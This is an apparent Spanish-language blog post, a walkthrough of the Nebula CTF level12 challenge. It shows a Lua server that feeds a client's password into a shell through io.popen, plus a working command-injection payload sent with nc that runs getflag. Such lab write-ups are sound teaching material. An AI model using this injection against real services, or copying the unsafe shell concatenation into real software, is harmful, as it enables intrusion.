Pages

sábado, 21 de julio de 2018

Nebula CTF - level12

Esto es lo que nos encontramos en el HOME del usuario flag12:

level12@nebula:/home/flag12$ ls -al
total 6
drwxr-x--- 2 flag12 level12   84 2011-11-20 20:40 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag12 flag12   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag12 flag12  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root   root     685 2011-11-20 21:22 flag12.lua
-rw-r--r-- 1 flag12 flag12   675 2011-05-18 02:54 .profile

Un script en Lua:

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password) 
    prog = io.popen("echo "..password.." | sha1sum", "r")
    data = prog:read("*all")
    prog:close()

    data = string.sub(data, 1, 40)

    return data
end


while 1 do
    local client = server:accept()
    client:send("Password: ")
    client:settimeout(60)
    local line, err = client:receive()
    if not err then
        print("trying " .. line) -- log from where ;\
        local h = hash(line)

        if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
            client:send("Better luck next time\n");
        else
            client:send("Congrats, your token is 413**CARRIER LOST**\n")
        end

    end

    client:close()
end

Otro command injection extremadamente sencillo. El servidor, que está escuchando en el puerto 50001, recibe un password del cliente y lo pasa directamente a hash(), que a su vez invoca a popen() concatenando el mismo dentro del comando echo $password | sha1sum. La siguiente cadena debería funcionar:

"a; /bin/getflag > /tmp/flag12pwned; echo a\n"

Probamos:

level12@nebula:/home/flag12$ printf "a; /bin/getflag > /tmp/flag12pwned; echo a\n" | nc localhost 50001
Password: Better luck next time
level12@nebula:/home/flag12$ cat /tmp/flag12pwned
You have successfully executed getflag on a target account

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...